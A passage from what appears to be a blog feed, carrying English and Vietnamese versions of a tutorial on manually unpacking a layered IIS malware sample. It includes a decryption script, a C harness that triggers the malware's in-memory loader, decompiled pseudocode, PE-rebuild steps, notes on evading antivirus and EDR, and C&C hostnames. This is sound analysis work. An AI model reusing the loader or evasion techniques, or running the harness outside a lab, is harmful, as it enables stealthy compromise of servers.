<h2 id="environment">Environment</h2>
<ul>
  <li>Windows 7 64 bit virtual machine. You can use windows 10.</li>
  <li>Hex-Rays IDA: <a href="https://www.hex-rays.com">https://www.hex-rays.com/</a></li>
  <li>A debugger: I love <a href="https://x64dbg.com/">x64dbg</a>.</li>
  <li>C++ compiler: I use Microsoft Visual Studio 2015. <a href="https://visualstudio.microsoft.com">https://visualstudio.microsoft.com/</a></li>
  <li>CFF Explorer: <a href="https://ntcore.com/?page_id=388">Explorer Suite</a></li>
</ul>

<h2 id="behavioral-analysis">Behavioral analysis</h2>
<p>In all steps of malware analysis, we have to perform behavioral analysis to predict malicious actions partly. To do this, we need:</p>
<ul>
  <li>The executable files of the malicious software and/or commands to run malicious code.</li>
  <li>Build exactly the environment where the malicious code will execute. For example: If the malicious code only runs on the windows server then you will never analyze the behavior if your environment is windows home.</li>
</ul>

<p>We just have 4 files, no more clue, and we can not execute malware in our system. We need to guess by ourselves!</p>

<h2 id="detailed-analysis">Detailed analysis</h2>
<p>I noticed that the <code class="language-plaintext highlighter-rouge">cachuri.dll</code> file was signed by Microsoft. I completely ignored this file.</p>

<p><img src="/assets/2019/03/cachuri.PNG" alt="Signature of cachuri" /></p>

<p>This file is a module of IIS cache. It is not a default installed module:</p>

<p><img src="/assets/2019/03/cachuri2.PNG" alt="cachuri" /></p>

<p><code class="language-plaintext highlighter-rouge">cachuri.dll</code> imports functions from <code class="language-plaintext highlighter-rouge">iisutil2.dll</code>, <code class="language-plaintext highlighter-rouge">iisutil2.dll</code> does not have a valid signature.
<img src="/assets/2019/03/cachuri3.PNG" alt="Malicious files" /></p>

<p>The other files are not executable files at all. So we can guess: <code class="language-plaintext highlighter-rouge">cachuri.dll</code> will be loaded by the IIS server (inetsrv). After loading the <code class="language-plaintext highlighter-rouge">cachuri.dll</code>, malicious <code class="language-plaintext highlighter-rouge">iisutil2.dll</code> is also loaded into the memory region of the process. <code class="language-plaintext highlighter-rouge">iisutil2.dll</code> will probably use the remaining two files for some purpose. At this step, we still haven’t run malicious code, it’s just a guess.</p>

<h3 id="analyze-iisutil2dll">Analyze <code class="language-plaintext highlighter-rouge">iisutil2.dll</code></h3>
<p><img src="/assets/2019/03/iisutil2_ida.png" alt="Open iisutil2.dll" /></p>

<p>This file is obfuscated and it makes me be confused. This is the flow of program:</p>

<p>Find functions: <code class="language-plaintext highlighter-rouge">CreateFileW</code>, <code class="language-plaintext highlighter-rouge">ReadFile</code>, <code class="language-plaintext highlighter-rouge">RtlDecompressBuffer</code></p>

<p><img src="/assets/2019/03/readfile.PNG" alt="Get procedure address" /></p>

<p>Open <code class="language-plaintext highlighter-rouge">iisexpressshim.sdb</code> and read:</p>

<p><img src="/assets/2019/03/readfile2.PNG" alt="Read file" /></p>

<p>Decrypt code by using XOR</p>

<p><img src="/assets/2019/03/readfile3.PNG" alt="Decrypt" /></p>

<p><img src="/assets/2019/03/readfile4.PNG" alt="Decrypt" /></p>

<p>There is the structure of decrypted data:</p>
<ul>
  <li>the first DWORD: The size of uncompressed data</li>
  <li>Compressed data</li>
</ul>

<p><img src="/assets/2019/03/readfile5.PNG" alt="Decrypt" /></p>

<p>After that, the program uses <code class="language-plaintext highlighter-rouge">RtlDecompressBuffer</code> to decompress data. This is the first layer of packer.</p>

<p>There is decryption code. Luckily, we have lznt1 decompressor from Google (https://twitter.com/nullandnull/status/772989022079586304).
 https://github.com/google/rekall/blob/e57446eb8ecbcf5019c1a978f469955a5078c829/rekall-core/rekall/plugins/filesystems/lznt1.py</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="rouge-code"><pre><span class="s">'''Decrypt iisexpressshim.sdb'''</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">lznt1</span>

<span class="k">def</span> <span class="nf">decrypt</span><span class="p">(</span><span class="n">buf</span><span class="p">):</span>
	<span class="n">out</span> <span class="o">=</span> <span class="s">''</span>
	<span class="n">index</span> <span class="o">=</span> <span class="mi">0</span>
	<span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">buf</span><span class="p">:</span>
		<span class="n">out</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">c</span><span class="p">)</span> <span class="o">^</span> <span class="p">(</span><span class="n">index</span> <span class="o">%</span> <span class="mh">0xff</span><span class="p">))</span>
		<span class="n">index</span> <span class="o">+=</span> <span class="mi">1</span>
	<span class="k">return</span> <span class="n">out</span>

<span class="n">cdata</span> <span class="o">=</span> <span class="n">decrypt</span><span class="p">(</span><span class="nb">open</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="s">'rb'</span><span class="p">).</span><span class="n">read</span><span class="p">())</span>
<span class="nb">open</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">+</span><span class="s">'.decrypted'</span><span class="p">,</span> <span class="s">'wb'</span><span class="p">).</span><span class="n">write</span><span class="p">(</span><span class="n">lznt1</span><span class="p">.</span><span class="n">decompress_data</span><span class="p">(</span><span class="n">cdata</span><span class="p">[</span><span class="mi">4</span><span class="p">:]))</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Result</p>

<p><img src="/assets/2019/03/readfile6.PNG" alt="Decrypt" /></p>

<p>I notice that VirtualSize, RawSize and RawAddress are equal to 0 . We can calculate all VirtualSize, RawSize and RawAddress  by using VirtualAddress.</p>
<ul>
  <li>VirtualSize = RawSize = (VirtualAddress of the next section - VirtualAddress of this section)</li>
  <li>RawAddress = VirtualAddress</li>
</ul>

<p>After fixing it, we can load this file to IDA and check it. This is the main flow of this program: to replace export table of <code class="language-plaintext highlighter-rouge">cachuri.dll</code> with new malicious export table.</p>

<p>I try to debug but I don’t have an actor to trigger malicious code.</p>

<h3 id="analyze-iisexpressshimsdb">Analyze <code class="language-plaintext highlighter-rouge">iisexpressshim.sdb</code></h3>
<p>I analyze <code class="language-plaintext highlighter-rouge">DllGetClassObject</code> and notice that malware uses directory name as a CLSID.</p>

<p><img src="/assets/2019/03/clsid_eng.PNG" alt="malware CLSID" /></p>

<p>To create a malicious object, we need a directory with a CLSID. There are main steps:</p>
<ul>
  <li>Create a directory and the name of directory is <code class="language-plaintext highlighter-rouge">{CB8A1CEF-292D-421E-AC71-88451B5C7F2B}</code>. I choose it randomly.</li>
  <li>Use this code to create an object.
    <pre><code class="language-C"> CLSID    clsid_malware;
 LPVOID   ppv = NULL;
 HMODULE h = LoadLibraryA("cachuri.dll");
 DLLGETCLASSOBJECT fnDllGetClassObject = (DLLGETCLASSOBJECT)GetProcAddress(h, "DllGetClassObject");
 HRESULT hr = CLSIDFromString(TEXT("{CB8A1CEF-292D-421E-AC71-88451B5C7F2B}"), &amp;clsid_malware);
 hr = fnDllGetClassObject(clsid_malware, IID_IClassFactory, &amp;ppv);
 printf("ppv = %p\n", ppv);
</code></pre>
    <p>We have a <code class="language-plaintext highlighter-rouge">CMalware2</code> object. I try to analyze all methods of this object and I realize that <code class="language-plaintext highlighter-rouge">CMalware2</code> object is a base object. If I call <code class="language-plaintext highlighter-rouge">QueryInterface</code> with  <code class="language-plaintext highlighter-rouge">{839D7762-5121-4009-9234-4F0D19394F04}</code> , I will create a real malicious object.</p>
  </li>
</ul>

<p><img src="/assets/2019/03/vtable.PNG" alt="malware vtable" /></p>

<p>This function will decrypt <code class="language-plaintext highlighter-rouge">logo.png</code> and load another PE file to memory:</p>

<pre><code class="language-C">int main(int argc, char** argv) {
	CLSID clsid_malware;
	LPVOID   ppv = NULL;
	HMODULE h = LoadLibraryA("cachuri.dll");
	DLLGETCLASSOBJECT fnDllGetClassObject = (DLLGETCLASSOBJECT)GetProcAddress(h, "DllGetClassObject");
	HRESULT hr = CLSIDFromString(TEXT("{CB8A1CEF-292D-421E-AC71-88451B5C7F2B}"), &amp;clsid_malware);
	hr = fnDllGetClassObject(clsid_malware, IID_IClassFactory, &amp;ppv);
	printf("ppv = %p\n", ppv);
	IUnknown *pMalware = (IUnknown*)ppv;
	hr = CLSIDFromString(TEXT("{839D7762-5121-4009-9234-4F0D19394F04}"), &amp;clsid_malware);

	IMalware *malware_obj;
	hr = pMalware-&gt;QueryInterface(clsid_malware, (LPVOID*) &amp;malware_obj);
	printf("main object = %p\n", malware_obj);

	DWORD_PTR vptr = (DWORD_PTR)(*(DWORD_PTR*)malware_obj);
	printf("vtbl = %08x\n", vptr);
	DWORD_PTR ml_fn = *(DWORD_PTR*)(vptr + 3 * sizeof(DWORD_PTR));
	RUNMALWARE run = (RUNMALWARE)(ml_fn - 0x5620 + 0x10B0);
	run((void*)malware_obj); // extract malware
	return 0;
}
</code></pre>

<p><img src="/assets/2019/03/extract_malware2.PNG" alt="malware vtable" /></p>

<ul>
  <li>Malicious code will allocate a memory region via (<code class="language-plaintext highlighter-rouge">VirtualAlloc</code>)</li>
  <li>Decrypt <code class="language-plaintext highlighter-rouge">logo.png</code></li>
  <li>Fixup relocation</li>
  <li>Resolve IAT.</li>
  <li>I use <code class="language-plaintext highlighter-rouge">pe_unmapper</code> to dump malicious code to file (https://github.com/hasherezade/pe_recovery_tools/tree/master/pe_unmapper)</li>
</ul>

<p>Now, we have <code class="language-plaintext highlighter-rouge">logo.dll</code></p>

<h3 id="analyze-logodll">Analyze <code class="language-plaintext highlighter-rouge">logo.dll</code></h3>

<p>This DLL has a exported function: <code class="language-plaintext highlighter-rouge">DllEntry</code>.</p>

<p>Pseudocode:</p>

<pre><code class="language-C"> char __stdcall DllEntry(int a1, int a2, int a3, int a4)
{
  char result; // al

  SetErrorMode(0x8007u);
  result = sub_100569F0((int)sub_100031C0);
  if ( result )
  {
    result = sub_10055E20();
    if ( result )
    {
      while ( 1 )
        Sleep(0xFFFFFFFF);
    }
  }
  return result;
}
</code></pre>

<p>After analyzing, I realize that this is another PE loader:</p>
<ul>
  <li>Allocate memory and decrypt the embedded PE file.</li>
  <li>Resolve Import Address Table</li>
  <li>Execute malicious code at entry point</li>
</ul>

<p>This loader removes all important fields in PE header. We can not rebuild PE file without header. 
I use debugger to trace and find the address of entry-point and dump memory to disk. This loader allocates 0x899400 bytes for new PE file</p>

<p><img src="/assets/2019/03/logo_dump1.PNG" alt="Decrypt PE file" /></p>

<p>this loader skips 0x4E0000 bytes. I don’t know why.</p>

<p><img src="/assets/2019/03/logo_dump2.PNG" alt="Decrypt PE file" /></p>

<p><img src="/assets/2019/03/logo_dump3.PNG" alt="Decrypt PE file" /></p>

<p>As I say, all important fields are removed.</p>

<p><img src="/assets/2019/03/logo_dump4.PNG" alt="Decrypt PE file" /></p>

<p><img src="/assets/2019/03/logo_dump5.PNG" alt="Decrypt PE file" /></p>

<h4 id="rebuild">Rebuild</h4>
<p>We have: Imagebase = 0x800000 + 0x4E0000 = 0xCE0000.</p>

<p>You can consider that this PE file has only 1 section. So we create section header:</p>

<p><code class="language-plaintext highlighter-rouge">NumberOfSections = 1</code></p>

<p><img src="/assets/2019/03/logo_dump6.PNG" alt="Decrypt PE file" /></p>

<p>To resolve and fix IAT, I use Scylla : <a href="https://github.com/NtQuery/Scylla">https://github.com/NtQuery/Scylla</a></p>

<p>Scylla is a great tool. I can recover all entries in IAT. We need to use <code class="language-plaintext highlighter-rouge">Disassemble</code> function to resolve APIs if Scylla can not resolve them.</p>

<p><img src="/assets/2019/03/logo_dump7.PNG" alt="Fix IAT" /></p>

<p>Remember:</p>
<ul>
  <li>If malicious code uses <code class="language-plaintext highlighter-rouge">GetModuleHandle</code> function with NULL parameter (both Ansi and Unicode version), this function MUST return 0xCE0000.</li>
</ul>

<p><img src="/assets/2019/03/logo_dump8.PNG" alt="Fix IAT" /></p>

<p>Correct Import Address Table</p>

<p><img src="/assets/2019/03/logo_dump9.PNG" alt="Fix IAT" /></p>

<p>Finally, I rebuild and rebase this file</p>

<p><img src="/assets/2019/03/logo_dump10.PNG" alt="Fix IAT" /></p>

<p>Rebase PE file:</p>

<p><img src="/assets/2019/03/logo_dump11.PNG" alt="Fix IAT" /></p>

<p>This is the last layer.</p>

<h3 id="bonus-cc-server">Bonus: C&amp;C Server</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre>cdn.arlialter.com:8888
cdn.arlialter.com:8531
var.alieras.com:8531
fbcn.enantor.com:8531
fbcn.enantor.com:8888
ww1.erabend.com:8888
var.alieras.com:8888
ww1.erabend.com:8531
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="donation">Donation</h2>
<p>If you think my article is valuable, you may donate to me so that I have the motivation to write the next article. I accept Paypal. Thank you so much! <a href="https://paypal.me/develbranch">https://paypal.me/develbranch</a></p>]]></content><author><name>Quang Nguyen</name></author><category term="Tutorials" /><category term="malware" /><summary type="html"><![CDATA[Malware authors utilize packers to make it difficult for their malware to be reversed. In this article, I am going to show my experience with packers and manual unpacking.]]></summary></entry><entry><title type="html">Deobfuscate malware</title><link href="https://develbranch.com/tutorials/deobfuscate-apt-malware.html" rel="alternate" type="text/html" title="Deobfuscate malware" /><published>2019-03-17T17:00:00+00:00</published><updated>2019-03-17T17:00:00+00:00</updated><id>https://develbranch.com/tutorials/deobfuscate-apt-malware</id><content type="html" xml:base="https://develbranch.com/tutorials/deobfuscate-apt-malware.html"><![CDATA[<h2 id="giới-thiệu">Giới thiệu</h2>
<p><img src="/assets/2019/03/files.PNG" alt="Các file độc hại" /></p>

<p>Tôi tình cờ nhận được mẫu này từ một người quen, trong khi đó, người quen của tôi lại nhận được mẫu này từ một người quen khác, cứ thế,… Trong giới làm an ninh mạng ở Việt Nam hay có kiểu chia sẻ đơn giản như thế thôi. Ai cũng biết việc chia sẻ cho những người khác là cần thiết vì nó giúp cho chúng ta tự bảo vệ nhau, tự phát hiện các mối nguy hại từ bên ngoài. Nhưng ai chia sẻ xong cũng nói một câu: “Đừng bảo với ai là em gửi anh nhé!”, “Đừng share ai nữa nhé!”,…. Tôi cũng không rõ lắm họ muốn bí mật nguồn mẫu làm gì. Có lẽ không ai muốn người khác biết mình bị tấn công, sẽ ảnh hưởng đến công việc kinh doanh. Tôi tôn trọng các quyết định của người đã chia sẻ cho tôi. Tôi sẽ viết phương pháp tôi phân tích mẫu này để các bạn nếu có gặp một mẫu tương tự sẽ biết cách xử lý. Tôi không rõ mẫu mã độc này do nhóm nào viết, tuy nhiên phải khẳng định rằng phân tích không phải dễ.</p>

<p>Trong bài viết này, tôi sẽ trình bày phương pháp tôi vượt qua các lớp bảo vệ file thực thi của mã độc, phần còn lại là các hành vi của mã độc có lẽ cũng không cần thiết. Trong trường hợp các bạn muốn biết các hành vi của mẫu này, có thể đợi bài viết tiếp theo của tôi</p>

<p><em><strong>1 phút cho quảng cáo</strong>: Nếu các bạn gặp những mẫu malware tương tự, các bạn hoàn toàn có thể liên lạc với tôi qua địa chỉ contact[at]develbranch.com hoặc facebook fanpage <a href="https://fb.com/develbranch">fb.com/develbranch</a> và tôi sẽ giúp các bạn phân tích các mẫu mã độc. Tôi sẽ tính phí trong trường hợp cần thiết. Nếu thấy bài viết của tôi có giá trị, các bạn có thể chuyển khoản cho tôi một chút tiền để tôi có động lực viết các bài viết tiếp theo (hãy liên hệ với fanpage của tôi).</em></p>

<h2 id="môi-trường-thực-hiện">Môi trường thực hiện</h2>
<ul>
  <li>Máy ảo windows 7 64 bit. Các bạn có thể sử dụng windows 10.</li>
  <li>Một chương trình debugger trên windows: Tôi thích dùng <a href="https://x64dbg.com/">x64dbg</a>.</li>
  <li>Một chương trình C++ compiler trên windows: Tôi thích dùng Microsoft Visual Studio 2015. https://visualstudio.microsoft.com/</li>
  <li>CFF Explorer: <a href="https://ntcore.com/?page_id=388">Explorer Suite</a></li>
</ul>

<h2 id="phân-tích-theo-hành-vi">Phân tích theo hành vi</h2>
<p>Trong tất cả các bước phân tích mã độc chuẩn, chúng ta đều phải thực hiện phân tích theo hành vi để phần nào đoán được hành động mà mã độc sẽ thực hiện và chúng ta sẽ đưa ra phương án phân tích phù hợp. Để thực hiện việc này chúng ta cần:</p>
<ul>
  <li>File thực thi của mã độc, hoặc là một lệnh để chạy mã độc.</li>
  <li>Dựng được chính xác môi trường mà mã độc sẽ thực thi. Ví dụ: Nếu mã độc chỉ chạy trên windows server thì các bạn sẽ không bao giờ phân tích theo hành vi nếu môi trường của các bạn là windows home.</li>
</ul>

<p>Người bạn chỉ đưa tôi 4 file như trên hình, không thông tin, không mô tả gì thêm. Trong quá trình phân tích tôi cũng không có thêm một chút manh mối nào ngoại trừ đường dẫn của file. Với bấy nhiêu thông tin, chúng ta không thể thực thi được mã độc trên môi trường của mình. Do vậy sẽ không có phân tích theo hành vi. Chúng ta cần đoán theo cách của mình! Guess it your way!</p>

<h2 id="phân-tích-chi-tiết">Phân tích chi tiết</h2>
<p>Trong số 4 files nhận được, tôi nhận thấy file <code class="language-plaintext highlighter-rouge">cachuri.dll</code> có chữ kí của Microsoft. Tôi hoàn toàn bỏ qua file này</p>

<p><img src="/assets/2019/03/cachuri.PNG" alt="Chữ ký của cachuri" /></p>

<p>File này là file xử lý cache trên server windows. Đây không phải module cài đặt mặc định của IIS server:</p>

<p><img src="/assets/2019/03/cachuri2.PNG" alt="Mô tả cachuri" /></p>

<p>File <code class="language-plaintext highlighter-rouge">cachuri.dll</code> sử dụng các hàm trong <code class="language-plaintext highlighter-rouge">iisutil2.dll</code>, không có chữ ký hợp lệ
<img src="/assets/2019/03/cachuri3.PNG" alt="Các file độc hại" /></p>

<p>Hai file còn lại hoàn toàn không phải file thực thi. Do đó chúng ta có thể đoán: <code class="language-plaintext highlighter-rouge">cachuri.dll</code> sẽ được một module nào đó của IIS server(inetsrv) load lên. Sau khi load <code class="language-plaintext highlighter-rouge">cachuri.dll</code>, <code class="language-plaintext highlighter-rouge">iisutil2.dll</code> độc hại cũng được load vào bộ nhớ của tiến trình. <code class="language-plaintext highlighter-rouge">iisutil2.dll</code> có thể sẽ sử dụng tiếp 2 file còn lại cho mục đích nào đó. Đến bước này, chúng ta vẫn chưa chạy mẫu mà hoàn toàn chỉ là đoán. Guess it your way!</p>

<h3 id="thực-hiện-phân-tích-iisutil2dll">Thực hiện phân tích <code class="language-plaintext highlighter-rouge">iisutil2.dll</code></h3>
<p><img src="/assets/2019/03/iisutil2_ida.png" alt="mở iisutil2.dll trong IDA pro" /></p>

<p>File này bị obfuscate khá kĩ và gây khó khăn nhiều trong quá trình phân tích. Tuy nhiên, sau khi phân tích code, tôi nhận ra luồng thực thi chính của chương trình như sau:</p>

<p>Lấy địa chỉ các hàm: <code class="language-plaintext highlighter-rouge">CreateFileW</code>, <code class="language-plaintext highlighter-rouge">ReadFile</code>, <code class="language-plaintext highlighter-rouge">RtlDecompressBuffer</code>
<img src="/assets/2019/03/readfile.PNG" alt="Lấy địa chỉ các hàm" /></p>

<p>Mở file <code class="language-plaintext highlighter-rouge">iisexpressshim.sdb</code> và Đọc toàn bộ nội dung của file.
<img src="/assets/2019/03/readfile2.PNG" alt="Đọc nội dung file" /></p>

<p>Giải mã bằng thuật toán xor đơn giản
<img src="/assets/2019/03/readfile3.PNG" alt="Giải mã dữ liệu" /></p>

<p><img src="/assets/2019/03/readfile4.PNG" alt="Giải mã dữ liệu" /></p>

<p>Trong đoạn dữ liệu sau khi giải mã, sẽ có cấu trúc như sau:</p>
<ul>
  <li>4 byte đầu: Kích thước dữ liệu trước khi nén</li>
  <li>Toàn bộ khối dữ liệu đã nén</li>
</ul>

<p><img src="/assets/2019/03/readfile5.PNG" alt="Giải mã dữ liệu" /></p>

<p>Sau đó, chương trình sẽ giải nén toàn bộ nội dung của file bằng hàm <code class="language-plaintext highlighter-rouge">RtlDecompressBuffer</code>. Đến đây, ta đã unpack được lớp thứ nhất.</p>

<p>Chúng ta có thể mô tả toàn bộ quá trình này thông qua đoạn code python sau. Rất may là có 1 phiên bản giải nén lznt1 được implement hoàn toàn bằng python(https://twitter.com/nullandnull/status/772989022079586304) của Google. Thật quá tốt: https://github.com/google/rekall/blob/e57446eb8ecbcf5019c1a978f469955a5078c829/rekall-core/rekall/plugins/filesystems/lznt1.py</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="rouge-code"><pre><span class="s">'''Giải mã file iisexpressshim.sdb'''</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">lznt1</span>

<span class="k">def</span> <span class="nf">decrypt</span><span class="p">(</span><span class="n">buf</span><span class="p">):</span>
	<span class="n">out</span> <span class="o">=</span> <span class="s">''</span>
	<span class="n">index</span> <span class="o">=</span> <span class="mi">0</span>
	<span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">buf</span><span class="p">:</span>
		<span class="n">out</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">c</span><span class="p">)</span> <span class="o">^</span> <span class="p">(</span><span class="n">index</span> <span class="o">%</span> <span class="mh">0xff</span><span class="p">))</span>
		<span class="n">index</span> <span class="o">+=</span> <span class="mi">1</span>
	<span class="k">return</span> <span class="n">out</span>

<span class="n">cdata</span> <span class="o">=</span> <span class="n">decrypt</span><span class="p">(</span><span class="nb">open</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="s">'rb'</span><span class="p">).</span><span class="n">read</span><span class="p">())</span>
<span class="nb">open</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">+</span><span class="s">'.decrypted'</span><span class="p">,</span> <span class="s">'wb'</span><span class="p">).</span><span class="n">write</span><span class="p">(</span><span class="n">lznt1</span><span class="p">.</span><span class="n">decompress_data</span><span class="p">(</span><span class="n">cdata</span><span class="p">[</span><span class="mi">4</span><span class="p">:]))</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Kết quả giải mã
<img src="/assets/2019/03/readfile6.PNG" alt="Giải mã dữ liệu" /></p>

<p>File PE này không lỗi, mặc dù VirtualSize, RawSize và RawAddress đều bằng 0 . Chỉ đơn giản, file này cần được load theo một cách khác. Tôi đọc thuật toán trong loader của chương trình và nhận ra: Chúng ta có thể tính toán các giá trị VirtualSize, RawSize và RawAddress hoàn toàn chỉ cần dựa vào VirtualAddress.</p>
<ul>
  <li>VirtualSize = RawSize = (VirtualAddress của section sau - VirtualAddress của section trước)</li>
  <li>RawAddress = VirtualAddress</li>
</ul>

<p>Sau khi fix lại code, file PE hoàn toàn đủ tiêu chuẩn để load vào IDA và đọc. Hoạt động của file này như sau:</p>
<ul>
  <li>Tại DllMain, lấy image base của <code class="language-plaintext highlighter-rouge">cachuri.dll</code></li>
  <li>Thay bảng export của <code class="language-plaintext highlighter-rouge">cachuri.dll</code> thành bảng export của mã độc.</li>
</ul>

<p>Kĩ thuật này có ưu điểm:</p>
<ul>
  <li>Có thể coi đây là một kĩ thuật nhằm thay thế file <code class="language-plaintext highlighter-rouge">cachuri.dll</code> bằng một file độc. Các hành vi độc hại nếu xuất hiện sẽ xuất hiện từ tiến trình của Inetsrv, chính xác hơn là bên trong <code class="language-plaintext highlighter-rouge">cachuri.dll</code>. Tuy nhiên, nếu chỉ quét trên đĩa bằng các antivirus thông thường thì hoàn toàn không thể phát hiện được. <code class="language-plaintext highlighter-rouge">cachuri.dll</code> vẫn có chữ kí bình thường của Microsoft.</li>
  <li>Một số chương trình EDR khi phát hiện hành vi độc hại sẽ gửi các file của tiến trình liên quan (file thực thi, DLL liên quan) về máy chủ để phân tích. Bằng cách này, người viết malware hoàn toàn tránh được các EDR.</li>
</ul>

<p>Tôi tiếp tục debug nhưng có vẻ không thành công, vì chúng ta không có actor để trigger mã độc.</p>

<h3 id="thực-hiện-phân-tích-iisexpressshimsdb">Thực hiện phân tích <code class="language-plaintext highlighter-rouge">iisexpressshim.sdb</code></h3>
<p>Tôi thử phân tích hoàn toàn bằng IDA và không sử dụng trình debugger.
Khi phân tích hàm <code class="language-plaintext highlighter-rouge">DllGetClassObject</code>, tôi nhận thấy malware sử dụng tên của thư mục chứa nó như một CLSID. Trong code của chương trình cần query class có clsid này để lấy về đối tượng xử lý tương ứng.
<img src="/assets/2019/03/clsid.PNG" alt="malware CLSID" /></p>

<p>Do đó, để có thể tạo một đối tượng thực thi độc hại, chúng ta cần tạo một tên thư mục với clsid bất kì và sử dụng nó. Các bước cụ thể như sau:</p>
<ul>
  <li>Tạo một thư mục có tên là <code class="language-plaintext highlighter-rouge">{CB8A1CEF-292D-421E-AC71-88451B5C7F2B}</code>. Giá trị này tôi lấy ngẫu nhiên.</li>
  <li>Sử dụng đoạn code dưới đây để tạo object.
    <pre><code class="language-C"> CLSID    clsid_malware;
 LPVOID   ppv = NULL;
 HMODULE h = LoadLibraryA("cachuri.dll");
 DLLGETCLASSOBJECT fnDllGetClassObject = (DLLGETCLASSOBJECT)GetProcAddress(h, "DllGetClassObject");
 HRESULT hr = CLSIDFromString(TEXT("{CB8A1CEF-292D-421E-AC71-88451B5C7F2B}"), &amp;clsid_malware);
 hr = fnDllGetClassObject(clsid_malware, IID_IClassFactory, &amp;ppv);
 printf("ppv = %p\n", ppv);
</code></pre>
    <p>Sau đoạn code này, chúng ta có đối tượng, tạm gọi là <code class="language-plaintext highlighter-rouge">CMalware2</code> của mã độc. Tiếp tục phân tích các method của đối tượng này, tôi nhận thấy <code class="language-plaintext highlighter-rouge">CMalware2</code> chỉ là object cơ sở, không implement một chức năng nào. Tôi thử phân tích hàm QueryInterface thì nhận ra nếu query với CLSID <code class="language-plaintext highlighter-rouge">{839D7762-5121-4009-9234-4F0D19394F04}</code> sẽ nhận được object <code class="language-plaintext highlighter-rouge">CMalware1</code> của mã độc.</p>
  </li>
</ul>

<p><img src="/assets/2019/03/vtable.PNG" alt="malware vtable" /></p>

<p>Tiếp tục phân tích, tôi phát hiện ra hàm làm việc chính của malware: hàm này có tác dụng load một file PE khác nằm trong <code class="language-plaintext highlighter-rouge">logo.png</code> và thực thi nó trên bộ nhớ. Để trigger tới chỗ này, tôi viết đoạn mã sau:</p>

<pre><code class="language-C">int main(int argc, char** argv) {
	CLSID clsid_malware;
	LPVOID   ppv = NULL;
	HMODULE h = LoadLibraryA("cachuri.dll");
	DLLGETCLASSOBJECT fnDllGetClassObject = (DLLGETCLASSOBJECT)GetProcAddress(h, "DllGetClassObject");
	HRESULT hr = CLSIDFromString(TEXT("{CB8A1CEF-292D-421E-AC71-88451B5C7F2B}"), &amp;clsid_malware);
	hr = fnDllGetClassObject(clsid_malware, IID_IClassFactory, &amp;ppv);
	printf("ppv = %p\n", ppv);
	IUnknown *pMalware = (IUnknown*)ppv;
	hr = CLSIDFromString(TEXT("{839D7762-5121-4009-9234-4F0D19394F04}"), &amp;clsid_malware);

	IMalware *malware_obj;
	hr = pMalware-&gt;QueryInterface(clsid_malware, (LPVOID*) &amp;malware_obj);
	printf("main object = %p\n", malware_obj);

	DWORD_PTR vptr = (DWORD_PTR)(*(DWORD_PTR*)malware_obj);
	printf("vtbl = %08x\n", vptr);
	DWORD_PTR ml_fn = *(DWORD_PTR*)(vptr + 3 * sizeof(DWORD_PTR));
	RUNMALWARE run = (RUNMALWARE)(ml_fn - 0x5620 + 0x10B0);
	run((void*)malware_obj); // extract malware
	return 0;
}
</code></pre>

<p><img src="/assets/2019/03/extract_malware2.PNG" alt="malware vtable" /></p>

<p>Để đơn giản quá trình, chúng ta sẽ để cho malware thực thi nốt phần còn lại của nó:</p>
<ul>
  <li>Cấp phát bộ nhớ cho malware (<code class="language-plaintext highlighter-rouge">VirtualAlloc</code>)</li>
  <li>Giải mã toàn bộ malware lên memory</li>
  <li>Fixup relocation</li>
  <li>Resolve IAT. Chúng ta sẽ đặt breakpoint tại hàm <code class="language-plaintext highlighter-rouge">GetProcAddress</code> để dừng thực thi trong khi malware được resolve các hàm API</li>
  <li>Dump vùng mem trên ra bộ nhớ, và vì file này đã được mapping trên memory và có thay đổi, nên sử dụng cộng cụ <code class="language-plaintext highlighter-rouge">pe_unmapper</code> của hasherezade (https://github.com/hasherezade/pe_recovery_tools/tree/master/pe_unmapper)</li>
</ul>

<p>Dump file nhận được ra đĩa, chúng ta tạm gọi là logo.dll</p>

<h3 id="phân-tích-logodll">Phân tích <code class="language-plaintext highlighter-rouge">logo.dll</code></h3>

<p>DLL này khá đơn giản với một hàm <code class="language-plaintext highlighter-rouge">DllEntry</code>. Chúng ta có thể coi đây là entrypoint của chương trình (Phân biệt với entrypoint của file).</p>

<p>Đây là mã giả của <code class="language-plaintext highlighter-rouge">DllEntry</code>:</p>

<pre><code class="language-C"> char __stdcall DllEntry(int a1, int a2, int a3, int a4)
{
  char result; // al

  SetErrorMode(0x8007u);
  result = sub_100569F0((int)sub_100031C0);
  if ( result )
  {
    result = sub_10055E20();
    if ( result )
    {
      while ( 1 )
        Sleep(0xFFFFFFFF);
    }
  }
  return result;
}
</code></pre>

<p>Sau khi phân tích, tôi nhận ra đây lại là một PE loader khác. Nhiệm vụ của đoạn code này như sau:</p>
<ul>
